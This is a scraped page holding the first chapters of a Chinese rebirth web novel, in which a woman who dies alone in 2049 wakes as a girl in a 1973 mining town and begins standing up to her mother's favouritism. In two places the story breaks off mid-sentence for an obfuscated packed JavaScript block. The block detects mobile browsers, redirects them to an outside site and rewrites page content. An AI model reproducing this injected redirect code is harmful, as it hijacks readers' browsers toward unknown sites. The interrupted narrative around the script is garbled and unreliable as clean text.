《重生七零之老娘不伺候了!》 1. 楔子 南雁死在二零四九年的除夕夜,时辰卡得刁钻,恰是旧岁将辞、新年欲至的暧昧时分。 窗外的烟花一阵撵着一阵,没完没了地炸,拼了老命地要把墨黑的夜空烫出几个窟窿,亮是亮了,却亮得支离破碎,像块被顽童撕烂后又胡乱贴了金箔的破布。 电视里春晚的欢声笑语隔着几道墙壁顽强地渗透过来,听不真切,只剩下一片嗡嗡营营的虚热闹,衬得这屋里愈发死寂。 她躺在冰冷的床上,身下是女儿几年前寄回来的蚕丝被,说是轻便保暖,价钞不菲。 可南雁总觉得盖不暖,滑溜溜、凉沁沁的,像裹着一层不合时宜的雾气,隔绝了人间烟火气,直往骨头缝里钻冷。 喉咙里像是塞了一团浸了水的旧棉花,每次呼吸都成了奢望。 她知道自己要死了。 八十四岁,按老话讲,是喜丧。 街坊邻里若得知,大抵会咂咂嘴,说一句“哟,高寿啊,有福气”,至于这福气里头裹着几分真几分假,没人在意。 喜丧喜丧,重点在“喜”,那点不足为外人道的“丧”,自个儿咽下去就得了。 屋子里是冷锅冷灶,连口能烫一烫喉咙的热水都没有。 唯一的活物是窗台上那盆半死不活的绿萝,叶片蔫头耷脑,边缘泛着不健康的枯黄,是隔壁那个同样孤寡的老太太去年硬塞给她的。 那时老太太自己个儿也要搬去养老院了,像是急着甩脱一个不祥的兆头。 这绿萝竟也顽强,吊着一口若有似无的气,陪她捱过了一个又一个同样寡淡的白昼与黑夜。 女儿在很远很远的国外,具体是哪国哪个城市,南雁有时记得清,有时模糊。 只记得地图上要划过一大片蓝色的海,机票贵得吓死人。 三年了,没回来过。 最后一次通电话是在半年前,信号差极了,嘶嘶啦啦的杂音里,女儿的声音像是被太平洋上的狂风吹散了的纸片,零落又尖锐:“……妈,不是我说你,你就是太软弱,一辈子不懂反抗,谁都能捏你一下,连我看着都替你累得慌……” 累吗? 南雁迷迷糊糊地想,意识像断了线的风筝,在天花板上徒劳地盘旋。 是累的,怎么会不累呢? 她这一辈子,活脱脱像个老旧的陀螺。 被一根名叫“亲情”的鞭子抽着,不停地转,转得晕头转向,转得磨平了所有棱角。 鞭子握在谁手里? 父母、兄弟姐妹……甚至后来,是子侄辈。 他们需要钱时,她省吃俭用,从牙缝里抠出那点退休金和打零工的血汗钱,给弟弟凑彩礼、盖新房,给哥哥的孩子交高昂的择校费、补习费,仿佛那是天经地义。 父母病倒在床,兄嫂弟媳各有各的难处,是她这个“闲人”床前榻后地伺候,端屎端尿,擦身翻身,从深夜熬到黎明,没听过谁一句真心实意的“辛苦”。 最后老房子拆迁,那么一大笔补偿款,她眼睁睁看着大哥一家喜气洋洋、迫不及待地签了协议,手指印摁得又红又重,像是生怕她反悔。 她连个零头都没摸着。 理由充分得让人无法反驳:“雁子啊,你一个嫁出去的女儿,早就是泼出去的水了,这祖产,按理说都没你的份儿。大哥替你守着。” 她不是没委屈过。 那一次,她蹲在拆迁办门口冰冷的马路牙子上,看着大哥一家被开发商的人簇拥着,脸上笑出的褶子都能夹死苍蝇。 她手里紧紧捏着那个磨破了边的存折,里面是她刚取出这个月全部的退休金,指节捏得发白,心里头像是被一把生了锈的钝刀子,慢吞吞地割走了一块肉,不见血,只是闷闷而绵长地疼。 冷风一吹,她忽然想起很久很久以前,久到记忆都褪了色。 那时候大哥还年轻,带她去村口的河边摸鱼。 她脚下一滑,掉进河里,水草缠住了脚踝。 大哥急得眼都红了,连鞋都顾不上脱,“噗通”一声就跳下来,胳膊那么有劲,一把就将她捞了起来,背在身上深一脚浅一脚地往家跑,一边跑一边骂她“笨丫头”,湿透的衣襟却把她冰凉的脸蛋焐热了。 那时候的河水真清啊,能看见底下的鹅卵石。 大哥的脊背真宽啊,好像能扛起一切。 可那都是多少年前的老黄历了? 每次她心里那点委屈和不平刚要冒头,刚想张嘴说点什么,母亲就准时开始哭天抹泪,演技几十年如一日地精湛:“雁子啊,我的好雁子,你是最懂事、最孝顺的,咱家就指望你了啊……你可不能寒了爹妈的心……” 父亲在一旁沉默地敲着那杆老烟袋,铜锅磕在桌角,发出沉闷的“叩叩”声,最后总是那句亘古不变的结语:“一家人,血脉至亲,计较那么多干什么?生分!” 于是,她就一次一次地,把到了嘴边的话,连同那点可怜的委屈和诉求,硬生生地咽了回去。 咽得太多次,太彻底,到最后,连她自己都忘了那滋味到底是什么样的。 好像她生来就该如此,就该是那个默默付出、不求回报的 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窗外的烟花表演似乎到了高潮,炸得更凶更猛,噼里啪啦,一声声钝响,像是直接敲在她那口薄薄、还没备好的棺材板上,迫不及待地要为她送行,或者说,驱赶。 南雁躺在冰冷的蚕丝被里,忽然觉得这一切荒谬得可笑。 她这一生,对得起父母,兢兢业业做了半辈子“孝女”;对得起兄弟,掏心掏肺当了半辈子“扶弟魔”;对得起那个没什么感情、最终一拍两散的前夫,忍气吞声尽了“妻职”;她甚至努力想去对得起那些并不怎么念她好的子侄辈。 她唯独对不起的,好像只有两个人。 一个,是她自己。 另一个,就是那个和她一样倔、一样嘴硬、一样学不会说软话,最终远走异国他乡的女儿,小安。 连死,都死得这么安静,这么悄无声息,这么……无人问津。 像墙角那盆无人浇灌的绿萝,默默枯萎。 小安…… 小安最后对她说的话,是“连我都替你累”。 她一定是恨极了自己这个懦弱无能的母亲吧? 恨铁不成钢。 所以才会三年不回来,连这最后一面,也不肯来见。 她可真是一个失败透顶的母亲啊。 一辈子想着“一家人”,最后身边却一个家人也没有。 意识彻底沉入黑暗之前,像燃尽的香头最后明灭的那一下,她脑子里只剩下一个无比清晰,甚至带着点狠厉劲的念头,盘旋着,冲撞着,几乎要撕裂那团堵着喉咙的棉花—— 如果有下辈子…… 去他妈的一家人! 2. 1973 南雁是被一股极其熟悉却又遥远得像是上辈子的气味熏醒的。 意识像是被一根粗糙的麻绳从深不见底的寒潭里拖拽回来,挣扎着浮出水面。 不是预想中阴曹地府的森冷,也不是西方极乐世界的梵音,而是属于人间烟火的浑浊气息,粗暴地灌满了她的鼻腔和肺叶。 她费力地睁开眼,视线混沌了片刻,才艰难地对上焦。 没有冰冷的蚕丝被,没有窗外喧嚣到刺耳的爆竹声,也没有喉咙里那团窒息的老棉花。 她愣愣地转动着眼珠。 视线所及,是糊着旧报纸的顶棚,报纸已经泛黄,边角卷曲,隐约还能看见“工业学大庆”的标题字样。 一根电线从房梁上垂下来,末端吊着一个光秃秃的橘黄色灯泡,灰扑扑的。 身下是硬邦邦的木板床,铺着蓝白格子的粗布床单,洗得发白,但干净平整。 身上盖的是一床沉甸甸的棉被,大红牡丹花的被面,虽然有些地方棉花已经板结,却实实在在地焐出了一身热汗。 这不是她那间虽然冷清但还算整洁的单元楼,也绝不是二零四九年的除夕夜。 窗外传来嘈杂的人声,自行车铃铛清脆的“叮铃”声,小孩追逐打闹的尖叫笑嚷,还有一个女人嘹亮得能穿透墙壁的大嗓门:“张家婶子,你家牛奶领了没?快去!今儿的奶稠得很,刮嗓子眼!” 牛奶? 南雁的心脏像是被一只无形的手猛地攥紧,然后又狠狠松开,血液轰然冲向四肢百骸,带来一阵近乎眩晕的狂跳。 她几乎是手脚并用地从厚重的棉被里挣脱出来,赤脚跳下了床。 冰凉粗糙的水泥地刺激着脚心,那感觉真实得可怕。 她扑到窗前。 窗户是老旧木质的,刷着早已过时的绿色油漆,很多地方已经斑驳脱落,露出底下深浅不一的木纹。 窗玻璃上贴着防寒的旧报纸裁成的纸条,边缘翘起,像个不修边幅的邋遢汉子。 透过擦拭得不算太干净的玻璃看出去,外面是几排整齐的红砖平房,房前拉着晾衣绳,挂满了劳动布的工作服、颜色暗淡的棉毛衫裤。 几个穿着臃肿棉袄、戴着雷锋式棉帽子的半大孩子,正拿着自制的木头手枪,在光秃秃的空地上“砰砰砰”地玩着打仗的游戏,小脸冻得通红,热气从嘴里呵出来,变成白雾。 远处,能看见高耸的矿山井架和蜿蜒的铁轨,一辆运矿的小火车正慢吞吞地鸣着汽笛,“哐当哐当”地驶过,声音沉闷而有力,是这个重工业矿区的独特脉搏。 这一切,熟悉得让她鼻尖发酸,眼眶发热。 这是……老家的761矿。 是她八岁到出嫁前一直生活的地方。 南雁转过身,视线缓慢地扫过这个狭小却充满了生活痕迹的房间。 墙角放着那个印着大红“奖”字和“先进生产者”字样的搪瓷脸盆,盆边磕掉了一块瓷,露出黑底。 桌上立着那个印着鲜红毛主席语录的铁皮热水瓶,“为人民服务”几个字格外醒目。 最后,她的目光落在挂在门后那面边缘已经破损,照人有些变形的小镜子上。 她一步一步地挪过去,心跳如擂鼓。 镜子里映出一张稚嫩的脸庞。 瘦削,皮肤是常在外面疯跑晒出的微黑色,头发乌黑油亮,被胡乱地扎成两个歪歪扭扭、毛毛躁躁的小辫子,碎发支棱着。 一双眼睛因为瘦而显得格外大,眼珠黑沉沉的,此刻正睁得圆圆的,里面盛满了惊愕、茫然,以及一丝不敢宣之于口、生怕一碰就碎的狂喜。 这是她。 八岁时的南雁。 她真的……回来了? 回到了1973年? 回到了一切悲剧都还没有发芽,她的人生尚且握在自己手中,还有无限可能的时候? 门外传来“吱呀”一声门响,一个系着洗得发白的藏蓝色围裙、头发在脑后挽了个紧实圆髻的中年妇女,端着个铝制饭盒走了进来。 妇女脸上带着忙碌带来的微红,看见她站在镜子前发呆,便习惯性地扯着嗓子道:“雁子,醒了?傻站着干啥?快把衣服穿好,刚出了一身汗别再闪着!赶紧的,把这牛奶喝了,你爸刚去食堂打回来的,还热乎着哩!” 这是……她早已过世多年,连梦里都不愿多见的母亲——包兰芝。 脸上还没有被后来的愁苦和算计刻满深深的皱纹,腰背也挺直,带着这个时代劳动妇女特有的利索和强势。 南雁的目光落在那个铝饭盒上。 饭盒里装着大半盒乳白色的液体,表面结着一层薄薄的“奶皮”,浓郁的奶香味正丝丝缕缕地飘出来。 761矿待遇好,是附近有名的“牛奶矿”,职工家属每天都能定量供应鲜牛奶,给孩子们补充营养。 这是她小时候最期待的“福利”之一,也是后来几十年里再也尝不到,关于“家”的温暖味道之一。 可是现在,看着那盒牛奶,再看着母亲那理所当然,仿佛天经地义的表情,南雁的心头却像是被什么东西猛地刺了一下。 上辈子,就是这样。 家里所有的好东西,牛奶、鸡蛋、偶尔凭票买来的一点肉、难得一见的糖果……总是先紧着大哥、三妹和小弟。 她喝到的,常常是兑了水的,或者就是大哥他们喝剩下的底子,清汤寡水,带着一种施舍般的余味。 父母从不觉得这有什么不对,“男孩儿费脑子”、“男孩儿长身体”、“姐姐要让着弟弟”是铁打不动,颠扑不破的理由。 而她,因为是女孩,是“早晚要嫁出去的外姓人”,是“赔钱货”,所以一切的牺牲、退让和委屈求全,都是应该的,是本分。 甚至后来,这种根深蒂固的剥夺和牺牲,蔓延到了她人生的每一个角落。 工作、婚姻、财产、尊严……无一幸免。 “发什么愣呢!快喝啊!”包兰芝见她半天不动,眼神直勾勾的,有些不耐烦了,把饭盒往桌上一顿,发出“哐当”一声响,“喝完了把饭盒刷了,一会儿我还得拿去打菜呢。你爸和你哥他们的我都留出来了,在灶台温着呢。” 看,甚至连喝牛奶的顺序,都是最后才轮到她。 父亲、大哥、小弟,然后才是她。 那股熟悉的、憋闷的,像是被湿棉花堵住呼吸的感觉似乎又要卷土重来。 南雁死死地盯着那盒牛奶,小小的胸膛剧烈地起伏着,一股灼热的气流在胸腔里横冲直撞。 如果有下辈子…… 去他妈的一家人! 那个在她生命最后时刻,于无边孤寂和悔恨中发出的狠厉决绝的念头,如同烧红的烙铁,带着前世积攒的所有不甘与愤怒,狠狠地烫在了她刚刚重生,剧烈跳动的心脏上。 南雁抬起头,看向包兰芝,声音因为紧张和一种陌生的情绪而微微发颤,却又带着连她自己都惊讶的清晰:“妈,为什么我的奶这么少?大哥和小弟的也是这样的吗?” 正在转身准备去外间忙活别的包兰芝,像是被按了暂停键,顿住了脚步。 她扭过头,皱紧了眉头看着南雁,脸上先是闪过一丝困惑,仿佛没听清,随即那困惑变成了难以置信,像是听到了什么大逆不道的疯话:“你说啥?” “我说,”南雁吸了一口气,感觉那股支撑着她的力量在缓缓流淌,她甚至往前走了一小步,用手指了指那个铝饭盒,目光毫不避让,“为什么我的牛奶看起来比大哥、小弟的少?而且没有奶皮。他们的也有这么多吗?也是这样的吗?” 包兰芝的脸色瞬间沉了下来,语气也变得又冲又急:“你这死丫头!一大早起来睡迷糊了?胡咧咧什么!有的喝就不错了!挑三拣四!你哥你弟是男娃,正在长身体,读书费脑子,多喝点怎么了?天经地义!你一个丫头片子,喝那么多奶有什么用?将来还不是别人家的人!能给你喝就不错了!” 又是这一套! 一模一样的话! 连那不耐烦的语气,那理所当然的神态,都跟她记忆深处,上辈子无数次发生过的情景严丝合缝地重叠在一起! 南雁感觉一股冰冷的怒意,像是点着的汽油,轰一下从脚底板直冲天灵盖,烧得她指尖都在发颤。 她不再是那个八十四岁奄奄一息,只能对着空气诅咒命运的老妪,也不再是那个习惯了逆来顺受、打落牙齿和血吞、最终憋屈了一生的糊涂蛋了! 她是南雁。 死过一次又活过来的南雁。 “丫头片子就不用长身体了吗?丫头片子喝奶就浪费了吗?”南雁听见自己的声音拔高了一些,虽然还带着孩童的稚嫩,却有种异常的尖锐,“矿上规定每家每户按人头供应,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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可真要闹到工会去……这死丫头要是真豁出去了……脸上无光是小,万一被扣上个“封建思想残余”、“虐待子女”的帽子,影响了她爸或者她哥的前程…… 包兰芝的手慢慢地放了下来,脸色变了几变,最终强压着怒火,语气生硬地说道:“胡……胡说八道什么!谁……谁给你兑水了!就是今天打回来的奶……奶有点稀!水撇多了!赶紧喝了上学去!一天天的,尽找事儿!屁话那么多!” 说完,她像是怕南雁再盯着饭盒看,或者再说出什么更吓人的话来,一把抓起桌上的抹布,眼神闪烁地避开了南雁的视线,转身急匆匆地走出了屋子,还把门摔得砰一声巨响,仿佛这样才能掩盖住她内心的虚张声势。 屋子里安静下来。 只剩下南雁一个人,和那盒依旧散发着香味的牛奶。 南雁站在原地,一动不动,心里冷嗤一声,寒意更重。 几十年了,她这个母亲的脾性,她早就在前世用无数次吃亏受罪摸得透透的了。 欺软怕硬,色厉内荏,窝里横,所有的精明和算计都用在如何压榨自己人,如何讨好能给她带来点好处的人身上。 过了好一会儿,南雁才缓缓地走到桌边,端起那个铝饭盒。 牛奶还是温的。 她低下头,看着乳白色的液面上晃动着自己稚嫩却写满决绝的倒影,然后仰起头,“咕咚咕咚”,将整盒牛奶喝得一滴不剩。 浓郁而纯粹的奶香瞬间充盈了整个口腔,顺着喉咙滑下,温暖熨帖着胃袋,也仿佛给她冰冷的四肢注入了第一丝力量。 是的,力量。 她不再是那个需要看任何人脸色,需要牺牲自我去换取虚无缥缈的“亲情”认可的南雁了。 去他妈的一家人! 从这一刻起,她南雁,要为自己活。 她放下空饭盒,用手背抹了抹嘴角,目光落在门后挂着的那面破镜子上。 镜子里的小女孩,嘴唇上沾着一圈奶渍,眼睛却亮得惊人,像两簇不肯熄灭的野火。 未来的路还很长,761矿只是起点。 那些曾经理直气壮吸着她的血、踩着她的人生往上爬的“亲人”们,那些曾经欺辱她、轻视她、将她视为垫脚石的人,都还在。 但是,不一样了。 一切都不一样了。 南雁微微勾起了嘴角,露出一丝冰冷又炽热的笑意。 等着吧。 所有的债,咱们慢慢算。 3. 好布料(修) 屋外的喧嚣隔着薄薄的门板传进来,邻居家收音机里正放着激昂的样板戏,咿咿呀呀地唱着“壮志凌云”。 包兰芝在外间灶台忙活,动静弄得乒乓响,锅铲刮着铁锅,带着一股显而易见的火气,像是在跟谁较劲,又像是在跟自己过不去。 南雁慢条斯理地穿上那件洗得发白、肘部打着深蓝色补丁的棉袄,手指笨拙地系着盘扣。 这身体太小,太弱,许多事做起来还力不从心。 但她不急,时间站在她这边,日子还长,骨头总会硬朗起来。 她推开房门走出去。 外间兼做厨房和饭厅,逼仄的空间里弥漫着玉米面糊和咸菜疙瘩的味道。 父亲南秉义已经吃完上班去了,大哥南天贵和小弟南峰也早就跑得没影了,桌上只剩下小半盆稀糊和一小碟黑乎乎的咸菜丝。 包兰芝背对着她,正用力地刷着锅,肩膀绷得紧紧的,听见动静也没回头。 南雁没说话,自己舀了碗糊糊,就着咸菜,小口小口地吃着。 玉米糊剌嗓子,咸菜齁咸,但这才是这个家餐桌上的常态。 牛奶和鸡蛋,那是专供“金疙瘩”的,与她无关。 “吃完了把碗刷了,地扫了,鸡喂了。”包兰芝的声音硬邦邦地甩过来,依旧没回头,“一天天的,光知道吃现成的,眼里没一点活。” 南雁没应声,安静地吃完,起身收拾碗筷。 她个子矮,够着水缸舀水有些吃力,包兰芝冷眼旁观着,丝毫没有搭把手的意思。 南雁也不指望,踮着脚,一点点地把事情做完。 她做得不算利索,甚至有些笨拙,但这具身体需要重新适应劳动,就像生锈的齿轮需要慢慢磨合。 扫完地,她拿起墙角那个破了个小口的瓦盆,去门外角落的鸡窝抓了一把麸皮拌上剩菜汤。 两只老母鸡扑棱着翅膀围过来啄食。 看着争食的鸡,南雁眼神微闪。 她知道,其中一只开春后就不怎么下蛋了,但包兰芝舍不得杀,一直喂着。 另一只倒是勤快,几乎每天都能下一个蛋。 那个蛋,通常也会出现在大哥或者小弟的碗里,偶尔,包兰芝心情极好时,或许会赏她一口蛋花汤。 喂完鸡,南雁拍了拍手上的灰,抬头看了看天。 灰蒙蒙的,湿漉漉的,是南方冬季常见的铅灰色,压得人有些喘不过气。 但她的心情却奇异地透亮起来。 她转身回屋,拿起那个军绿色洗得发白的旧书包。 书包是大哥南天贵淘汰下来的,边角已经磨破了,里面只装了一本语文、一本算术,还有一个用报纸包着的铅笔头。 “我上学去了。”她对着包兰芝的背影说了一句。 包兰芝含混地“嗯”了一声,刷锅的动静更响了,始终没回头。 南雁走出家门,冰冷的空气瞬间包裹了她,让她精神一振。 矿区的早晨忙碌而嘈杂,上班的工人们骑着二八大杠,叮铃铃地汇入主干道,孩子们三五成群,追跑打闹着往矿子弟小学的方向去,红扑扑的脸上冒着热气。 “雁子!雁子!这边!”一个清脆的声音喊道。 南雁循声望去,看见一个同样穿着臃肿棉袄、脸蛋冻得红扑扑的小姑娘正冲她招手,是隔壁刘家的女儿,刘小萍。 上辈子,这是她小时候少数能说上几句话的伙伴之一,性格泼辣,胆子也大,像棵石头缝里都能长出来的草,后来嫁到了外地,听说过得还不错。 南雁快步走过去。 “你今天咋这么慢?”刘小萍挽住她的胳膊,一股脑地说着,“刚我看见你妈脸色咋那么难看?你又挨骂了?哎,我跟你说,二蛋他们昨天在废料场那边发现了个鸟窝,说不定有蛋!放了学我们去掏吧?烤着吃可香了!” 小孩子的快乐简单而直接。 一颗糖、一个鸟蛋就能高兴半天。 南雁听着她叽叽喳喳的声音,恍惚了一下。 上辈子,她似乎也曾这样无忧无虑过,只是那种感觉早已被后来的岁月磨蚀得一点不剩,像退潮后沙滩上留下的模糊水痕。 “不了,”南雁摇摇头,声音平静,“放学我得早点回家。” “啊?为啥?”刘小萍失望地撅起嘴,“有啥事啊?” “没啥,”南雁看着她,笑了笑,“就是有点事。” 她得回去看看。 如果没记错,就是今天下午,包兰芝会把她藏了许久的那块崭新,准备给南峰过年做新衣的深蓝色灯芯绒布料,拿出来比划。 然后,会因为邻居孙婶的几句恭维和看似无意的挑唆,头脑一热,决定把那块好布料送给孙婶家那个比南峰还大半岁的儿子,理由是“人家孩子长得快,旧衣服穿不下了,可怜见的”,而南峰,“捡他哥的旧衣服穿穿就行了”。 那块布料,是父亲南秉义得了先进,矿上额外奖励的,紧俏得很。 上辈子的南雁也曾暗暗羡慕过,但也只是羡慕而已,从未想过争取。结果最后,便宜了外人。 南峰哭闹了一场,被包兰芝用“不懂事”、“小气”骂了回去。 而那块布料穿在孙家小子身上没两个月,就摔跤磕破了膝盖,扯了个大口子,浪费了。 孙婶那人,嘴上抹蜜,心里藏奸,最爱占小便宜,偏偏包兰芝就吃她那一套。 以前南雁觉得不关己事,懒得理会。但现在,她不想忍了。 不是心疼那块布,而是不想再看包兰芝干这种蠢事,更不想让孙婶那种人得意。 这个家再不好,里面的东西,也不能白白流到外人手里,尤其是那种心怀叵测的外人。 刘小萍见南雁态度坚决,虽然失望,也没再纠缠,很快又被路边一只冻得瑟瑟发抖的野狗吸引了注意力,咋咋呼呼地跑过去看了。 一路听着小同学们的童言稚语,南雁的心绪慢慢沉淀下来。 她仔细回想着关于这个年代的一切细节。 七三年,运动还在搞,但基层的生产生活基本稳定了。 矿上效益不错,孩子们只要肯读书,都能上子弟学校。 将来恢复高考,矿上也出了几个大学生。 知识改变命运。 这句话在任何时代都不过时。 她摸了摸书包里的课本。 上辈子她成绩中不溜秋,初中毕业就接了包兰芝的班,在矿上招待所当服务员,一辈子困在这方寸之地,后来因为天生腿有点坡,导致三十几了才嫁人,离开矿区,却也谈不上什么好光景。 这辈子,她绝不会再走老路。 她要读书,要走出去,要换一种活法。 学校是几排红砖平房,操场很大,尘土飞扬。 教室里没有暖气,每个教室角落砌着一个砖炉子,由值日生提前来生火取暖。 烟囱常常倒烟,弄得教室里烟雾缭绕,孩子们被呛得直流眼泪,咳嗽声此起彼伏。 南雁在自己的位置坐下,那是靠窗的第三排。 同桌是个流着鼻涕的小胖子,叫王刚,父亲是矿上的卡车司机,家庭条件算不错的,桌洞里经常有吃食,有时是烤红薯,有时是几颗水果糖,引得周围孩子偷偷咽口水。 上课铃是工友敲一段挂在树上的铁轨发出的,声音刺耳。 第一节是语文课,老师是个戴着眼镜、表情严肃的中年女人,姓李。 她领着大家读课文,声音刻板而缺乏激,像念经。 孩子们拖长了调子跟着念,心思早飞到了窗外,想着下课玩什么,中午吃什么。 南雁却读得格外认真。 每一个字,每一个拼音,她都清晰而准确地念出来。 她的基础不算差,毕竟上辈子也经历过信息爆炸的时代,虽然晚年潦倒,但早年的底子和阅历还在。 她现在需要的是重新捡起来,并且,要做得更好,要脱颖而出。 李老师似乎注意到了这个平时有些怯懦沉默的女孩子今天的不同,目光在她身上停留了片刻。 一上午的课很快过去。 放学铃声一响,孩子们就像出笼的小鸟,呼啦啦地冲出教室,奔向食堂或者回家。 南雁收拾好书包,拒绝了刘小萍一起去食堂蹭暖气的邀请,快步往家走。 她心里惦记着那块灯芯绒布,脚步不由得加快了些。 果然,刚走到家门口,就听见屋里传来孙婶那夸张又热络的笑声:“……哎哟喂,我的好嫂子哟!你可真是菩萨心肠!菩萨心肠啊!我们家那小子,皮得像猴,衣服穿在身上就跟长了牙似的,没两个月就磨得不成样子!我这正愁呢!你说这年头,扯块好布多难啊!还得要票!你这可真是解了我的燃眉之急了!这叫我说什么好!” 南雁推门的手顿了一下,随即若无其事地走进去。 屋里,包兰芝正一脸慷慨地把那块叠得整整齐齐的深蓝色灯芯绒布料往孙婶手里塞,脸上带着被恭维后的略显浮肿的得意。 孙婶假意推拒着,眼睛却死死盯着那块布,笑得见牙不见眼,仿佛饿狼见了肉。 “妈,我回来了。”南雁出声,打断了两人的推让。 包兰芝看到她,脸上的笑容淡了点:“回来就回来,嚷嚷什么。” 她显然还在为早上的事不快。 孙婶倒是热情地打招呼,语气甜得发腻:“雁子放学啦?哎哟,真是越来越水灵了!” 这话虚伪得连她自己可能都不信,南雁现在瘦得跟豆芽菜似的,跟“水灵”毫不沾边。 南雁没接话,目光落在那块灯芯绒布上,故作好奇地问:“妈,这不是爸得奖的那块布吗?你要给小峰做新衣服啊?真好看。” 包兰芝脸上闪过一丝不自然,支吾道:“小孩子家家的,问那么多干啥!一边去!” 孙婶连忙接话,语气带着一种刻意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458125|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怜悯:“哎呀,雁子还不知道吧?你妈心善,看我们家小子没新衣服穿,可怜,把这布给我们了!你说说,这真是……让我怎么感谢才好!到底是先进家属,这觉悟就是高!” 她最后一句,又巧妙地捧了包兰芝一下。 南雁眨了眨眼,看向包兰芝,声音不大,却足够清晰:“妈,给小峰做新衣服的布,为什么要给孙婶啊?小峰过年穿什么?继续穿大哥的旧衣服吗?大哥的衣服肘部和膝盖都磨薄了,补丁摞补丁了。再说,这是爸挣来的奖励,给了外人,爸回来知道了,会不会不高兴?” 包兰芝被问得一噎,脸上有些挂不住,尤其是当着孙婶的面。 那点被恭维出来的虚荣心,像肥皂泡一样,“啪”地破了,只剩下尴尬和恼羞成怒:“大人做事,小孩别插嘴!旧衣服怎么不能穿了?暖和就行!就你事儿多!人家孙婶家有困难,帮衬一下怎么了?显得你能了?再说你爸能说啥?我当家的还不能做主了?” 孙婶也在一旁帮腔,语气却有点酸溜溜的了:“就是啊,雁子,做人不能太小气。一块布嘛,给了就给了,旧衣服一样穿。你看我们家小子,穿他爸的旧工装改的裤子,不也一样过年?穷讲究啥?” 南雁看着孙婶身上那件半新的明显是矿上发的劳保棉袄,心里冷笑。 孙婶的丈夫是矿上的技术员,家境比普通工人还好些,怎么可能连给孩子做件新衣服的布都凑不出来? 分明就是看准了包兰芝耳根子软、爱面子,来占便宜的。 “孙婶,”南雁转过头,看着孙婶,小脸上没什么表情,眼神却清亮得让人有点发慌,“我记得孙叔前阵子也评了先进吧?矿上没奖励吗?我昨天还看见孙叔拎回来一大块猪肉呢,肥膘可真厚,起码有三指厚,闻着可真香呢。” 孙婶脸上的笑容瞬间僵住了。 包兰芝也愣了一下,看向孙婶。 评先进奖励猪肉的事,她好像也听人说起过一嘴,当时还有点羡慕。 南雁继续慢悠悠地说:“孙婶家连那么大块猪肉都吃得上,怎么会连给孩子做件新衣服的布都没有呢?还要来拿我们家给弟弟做新衣的布?这布是我爸下井流汗换来的奖励,矿上供销社都买不到这个颜色和厚度呢。孙婶,你们家要是真困难到这份上,要不我跟爸说说,让矿上工会给你们家申请点补助?” 这话像是一记无声的耳光,结结实实地甩在了孙婶脸上。 她的脸一阵红一阵白,张着嘴,那句“可怜见的”再也说不出口。 拿着那块灯芯绒布,递出去不是,收回来也不是,手僵在半空,尴尬得恨不得找个地缝钻进去。 南雁最后那句“申请补助”,更是把她那点遮羞布彻底掀了。 包兰芝再糊涂,此刻也明白过味儿来了。 她看着孙婶那窘迫的样子,再想想自家可能过年都没新衣穿的小儿子,心里那点虚伪的慷慨和面子瞬间被一股上当受骗的懊恼取代。 她一把将那块布从孙婶手里抽了回来,动作快得几乎带了点抢的意思。 “那什么……他孙婶,”包兰芝的语气硬邦邦的,带着明显的不高兴,“我想起来了,这布……这布尺寸可能不太够,还得再搭点别的料子才行!就不麻烦你了!你家小子穿他爸的工装裤,结实!挺好!耐磨!” 说完,也不看孙婶的脸色,拿着布转身就塞进了炕头的木箱子里,“啪”一声合上了箱盖,仿佛怕人再抢了去。 孙婶站在当地,脸上一阵青白交错,最后干笑了两声,讪讪地道:“啊……是、是嘛……那……那我就先回去了,家里还烧着水呢,我得赶紧回去了,糊了锅可就麻烦了……” 说完,几乎是落荒而逃,连往常告别的那套客气话都省了。 包兰芝冲着孙婶的背影,没好气地“哼”了一声,显然气得不轻,既气孙婶的虚伪,更气自己的糊涂。 她回过神,看向站在一旁的南雁,眼神复杂。想骂她两句多嘴,可话到嘴边,又咽了回去。 毕竟,要不是这死丫头点破,她今天这亏就吃定了,还得被孙婶当傻子糊弄,过后想起来更憋气。 她最终什么也没说,只是烦躁地挥挥手:“愣着干啥?还不赶紧写作业去!” 南雁垂下眼睫,遮住眼底一丝冷嘲。 这才只是开始。 好戏,还在后头。 她转身走向里屋那张兼做书桌的缝纫机,拿出铅笔和作业本。 窗外,传来孙婶离开后,包兰芝刻意提高音量、指桑骂槐地数落鸡不下蛋的动静。 南雁的嘴角,无声地弯了一下。 那弧度很浅,却带着与她年龄截然不符的凉薄和笃定。 桌上的搪瓷缸里,热水冒着微弱的白气。 她握紧了那截短短的铅笔,手指用力,在算术本的格子纸上,写下了一个工整而清晰的数字。 一笔一划,仿佛在勾勒一个全新而触手可及的未来。 4. 画大饼 南雁伏在缝纫机前,算术本上的数字笔挺如列阵小兵,可她的心绪早成了被猫爪搅乱的线团,缠得密不透风。 外间,包兰芝指桑骂槐的声音渐渐低了下去,最终偃旗息鼓,只剩下锅铲碰撞的零星声响,透着股悻悻然的余怒,像烧尽的柴火,偶尔爆出一点不甘心的火星。 屋里安静下来,只有铅笔划过纸张的沙沙声。 南雁的心却不静。 那块□□芯绒布的风波,顶多算个开场锣,连正戏都算不上。 孙婶那人,针尖大的亏都能记成磨盘大,今天在这儿吃了瘪,能就这么算了? 包兰芝现在回过味来是恼火,可她耳根子软、爱听奉承话的毛病是刻在骨子里的。 下次被哪个“孙婶李婶”捧着哄几句,照样可能晕头转向,把家里的好东西往外撒。 这个家,就像一个四面漏风的破屋子,冷风嗖嗖地往里灌,捂都捂不热。 父亲南秉义是个炮仗脾气,一点就着,一天到晚泡在暗无天日的井下,家里事除了诸如“钱够不够花”这类“大事”,其他一概不管,工资袋也捂得紧紧,像怕被谁抢了去。 